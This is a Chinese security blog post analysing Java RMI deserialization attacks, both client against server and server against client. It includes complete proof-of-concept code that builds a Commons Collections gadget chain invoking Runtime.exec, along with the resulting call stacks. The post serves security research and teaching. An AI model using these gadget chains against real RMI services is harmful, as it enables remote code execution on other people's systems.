freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

RMI攻击中的Server&Client相互攻击反制
superLeeH 2022-10-14 23:00:52 219859
所属地 四川省

前言

前文中,我们分析了攻击Registry的两种方式,这里我们接着前面的内容,分析Server和Client的相互攻击方式。

Attacked

Server Attacked By Client

首先我们搭建个示例,这里直接注册端和服务端放置在一起。

package pers.rmi;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RemoteServer {
    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
        LocateRegistry.createRegistry(1099);
        //将需要调用的类进行绑定
        //创建远程类
        RemoteObject remoteObject = new RemoteObject();
        //获取注册中心
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        //绑定类
        registry.bind("test", remoteObject);
    }
}

来看看RemoteObject类。

package pers.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

//远程可以调用的类,需要继承UnicastRemoteObject类和实现RemoteInterface接口

//也可以指定需要远程调用的类,可以使用UnicastRemoteObject类中的静态方法exportObject指定调用类
public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {
    protected RemoteObject() throws RemoteException {
        super();
    }

    @Override
    public String CaseBegin() {
        return "Hello world!";
    }

    @Override
    public String CaseBegin(Object demo) {
        return demo.getClass().getName();
    }

    @Override
    public String CaseOver() {
        return "Good bye!";
    }
}

还有一个RemoteInterface接口的定义, 需要扩展Remote接口。

package pers.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

//定义一个能够远程调用的接口,并且需要扩展Remote接口
public interface RemoteInterface extends Remote {
    public String CaseBegin() throws RemoteException;
    public String CaseBegin(Object demo) throws RemoteException;
    public String CaseOver() throws RemoteException;
}

之后我们在客户端获取远程对象时。

// 获取远程对象实例
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
RemoteInterface stub = (RemoteInterface) registry.lookup("test");
System.out.println(stub.CaseBegin(o));

我们通过调试,可以知道,我们获取的远程对象stub是一个代理对象。

image-20221011100317924.png

在调用这个远程对象的方法的时候,将会通过RemoteObjectInvocationHandler#invoke方法进行调用。

image-20221011101005800.png

将会继续调用invokeRemoteMethod方法进行触发。

image-20221011101406468.png

这里的proxy对象是一个Remote实例,因为前面以后提到了在RemoteInterface接口中扩展了Remote接口

所以这里调用ref.invoke方法,此时的refUnicastRef对象,跟进。

image-20221011101709182.png

首先这里建立了一个连接。

image-20221011102708395.png

之后通过ref的ID获取对应的远程方法调用,在这里传输数据主要是通过序列化和反序列化的方式进行传输,获取远程方法调用流的输出流对象,在后面通过调用marshalValue方法进行数据的传输。

image-20221011103100651.png

根据不同的类型,进行不同的序列化方法的调用,这里的var1就是最开始在调用远程方法的时候传入的对象,如果,那里我们传入的是一个恶意的对象,这里将会将其进行序列化传输给服务端。

image-20221011104030913.png

之后就是对获取的服务端发送过来的数据进行反序列化获取,当然我们这里的重点不是这里,之后会提到的,我们这个攻击方式是在向服务端发送序列化数据的时候,服务端的反序列化处理。

image-20221011105545025.png

首先来到的是服务端的UnicastServerRef#dispatch方法,首先获取了输入流,之后调用readLong方法获取对应的方法hash值,也就是前面提到的invokeRemoteMethod调用过程中,计算的Method Hash值进行匹配。

image-20221011105958321.png

之后再后面进行反序列化解析。

image-20221011110125339.png

image-20221011110402755.png

将会在这里进行反序列化的调用。

POC

package pers.rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.*;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClientAttackDemo1 {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, AlreadyBoundException, NoSuchFieldException {

        //仿照ysoserial中的写法,防止在本地调试的时候触发命令
        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();
        Map outMap = LazyMap.decorate(innerMap, transformerChain);

        //实例化
        TiedMapEntry tme = new TiedMapEntry(outMap, "key");
        Map expMap = new HashMap();
        //将其作为key键传入
        expMap.put(tme, "value");

        //remove
        outMap.remove("key");

        //传入利用链
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        Object o = (Object) expMap;

        // 获取远程对象实例
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        RemoteInterface stub = (RemoteInterface) registry.lookup("test");
        System.out.println(stub.CaseBegin(o));
    }
}

贴个调用栈。

exec:-1, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:-1, HashMap (java.util)
readObject:-1, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
invokeReadObject:-1, ObjectStreamClass (java.io)
readSerialData:-1, ObjectInputStream (java.io)
readOrdinaryObject:-1, ObjectInputStream (java.io)
readObject0:-1, ObjectInputStream (java.io)
readObject:-1, ObjectInputStream (java.io)
unmarshalValue:-1, UnicastRef (sun.rmi.server)
dispatch:-1, UnicastServerRef (sun.rmi.server)
run:-1, Transport$1 (sun.rmi.transport)
run:-1, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:-1, Transport (sun.rmi.transport)
handleMessages:-1, TCPTransport (sun.rmi.transport.tcp)
run0:-1, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:-1, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1773645219 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:-1, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:-1, ThreadPoolExecutor (java.util.concurrent)
run:-1, ThreadPoolExecutor$Worker (java.util.concurrent)
run:-1, Thread (java.lang)

Client Attacked By Server

如果你跟进了前面一种攻击方法的利用细节,你会知道主要是通过Client发送序列化数据在客户端进行反序列化,如果仔细阅读了的话在前面也有铺垫。

UnicastServerRef#dispatch方法中在接收客户端的远程调用请求的时候。

image-20221011114526860.png

在对客户端传入的参数进行反序列化获取之后,在后面将会将其带入var8.invoke方法的调用(这里的var8是客户端调用的远程方法),这里将会对返回的结果赋值给var41变量。

image-20221011114957832.png

在得到方法调用的结果之后,将会通过调用marshalValue方法进行序列化传送给客户端,同样的,在客户端中将会反序列化他,跟进客户端的处理UnicastRef#invoke方法。

image-20221011115245327.png

通过调用unmarshalValue方法进行反序列化,所以我们可以按照这种思路构造POC。

我们同样使用上面提到的RemoteInterface接口RemoteObject类的代码

只是添加一个CABS方法。

@Override
public Object CABS() {
    //仿照ysoserial中的写法,防止在本地调试的时候触发命令
    Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
            new ConstantTransformer(1),
    };
    Transformer transformerChain = new ChainedTransformer(faketransformers);
    Map innerMap = new HashMap();
    Map outMap = LazyMap.decorate(innerMap, transformerChain);

    //实例化
    TiedMapEntry tme = new TiedMapEntry(outMap, "key");
    Map expMap = new HashMap();
    //将其作为key键传入
    expMap.put(tme, "value");

    //remove
    outMap.remove("key");

    try {
        //传入利用链
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
    } catch (Exception e) {
        e.printStackTrace();
    }

    Object o = (Object) expMap;

    return o;
}

构建一个和上面一样的服务端。

之后再客户端连接的时候请求CABS方法。

package pers.rmi;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
        RemoteInterface remoteInterface = (RemoteInterface) Naming.lookup("rmi://127.0.0.1:1099/test");
//        String s = remoteInterface.CaseBegin();
        Object s = remoteInterface.CABS();
        System.out.println(s);
    }
}

给个调用栈。

exec:-1, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:-1, HashMap (java.util)
readObject:-1, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
invokeReadObject:-1, ObjectStreamClass (java.io)
readSerialData:-1, ObjectInputStream (java.io)
readOrdinaryObject:-1, ObjectInputStream (java.io)
readObject0:-1, ObjectInputStream (java.io)
readObject:-1, ObjectInputStream (java.io)
unmarshalValue:-1, UnicastRef (sun.rmi.server)
invoke:-1, UnicastRef (sun.rmi.server)
invokeRemoteMethod:-1, RemoteObjectInvocationHandler (java.rmi.server)
invoke:-1, RemoteObjectInvocationHandler (java.rmi.server)
CABS:-1, $Proxy0 (com.sun.proxy)
main:12, RMIClient (pers.rmi)

总结

这里分别分析了从客户端攻击服务端和服务端攻击客户端的攻击方式,两端之间的相互攻击,变相就是一个相互反制的利用。

Ref

https://www.anquanke.com/post/id/257452

# web安全 # 漏洞分析 # 网络安全技术
本文为 superLeeH 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
superLeeH LV.5
这家伙太懒了,还未填写个人描述!
  • 50 文章数
  • 28 关注者
hutool组件下dynamic proxy和JDBC的部分可用链
2025-03-18
Vaadin组件下的新反序列化链寻找
2025-02-11
json组件下的原生反序列化getter触发
2025-01-13
文章目录